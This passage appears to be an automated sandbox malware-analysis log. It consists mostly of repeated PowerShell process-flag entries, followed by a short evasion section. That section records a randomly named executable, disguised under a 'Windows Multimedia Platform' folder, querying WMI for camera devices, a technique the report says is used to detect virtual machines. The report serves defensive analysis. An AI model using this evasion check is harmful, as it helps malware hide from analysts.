                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX

                              Malware Analysis System Evasion

                              barindex
                              Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
